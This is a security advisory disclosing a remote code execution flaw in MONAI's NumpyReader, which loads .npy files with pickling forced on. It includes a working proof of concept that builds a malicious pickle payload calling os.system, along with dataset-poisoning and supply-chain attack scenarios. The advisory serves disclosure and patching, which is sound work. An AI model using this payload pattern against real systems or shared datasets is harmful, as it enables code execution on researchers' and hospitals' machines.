GHSA-wg9g-w2j2-8pgr: High severity pip/monai vulnerability

Summary

The NumpyReader class in monai/data/imagereader.py unconditionally uses np.load(name, allowpickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allowpickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allowpickle").

Details

Vulnerable code (permalink):

python monai/data/imagereader.py, line 1276, in NumpyReader.read() img = np.load(name, allowpickle=True, kwargs)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allowpickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the reduce method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths: - torch.load calls now use weightsonly=True (after GHSA-6vm5-6jv9-rjpj) - PersistentDataset defaults to weightsonly=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allowpickle=False (permalink):

python monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allowpickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

python monai/data/imagereader.py, line 1233 (docstring) kwargs: additional args for numpy.load API except allowpickle.

The hardcoded allowpickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class 2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset) 3. LoadImage selects NumpyReader based on file extension 4. NumpyReader.read() calls np.load(name, allowpickle=True) 5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allowpickle=True in MONAI""" import os import tempfile import numpy as np

class MaliciousPayload: def reduce(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monairceproof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monaipoc") maliciousnpy = os.path.join(tmpdir, "maliciousmask.npy") np.save(maliciousnpy, np.array(MaliciousPayload()), allowpickle=True)

With MONAI installed: from monai.data.imagereader import NumpyReader reader = NumpyReader() data = reader.read(maliciousnpy)

Verify RCE proof = "/tmp/monairceproof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof)

os.remove(maliciousnpy) os.rmdir(tmpdir)

Output: [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).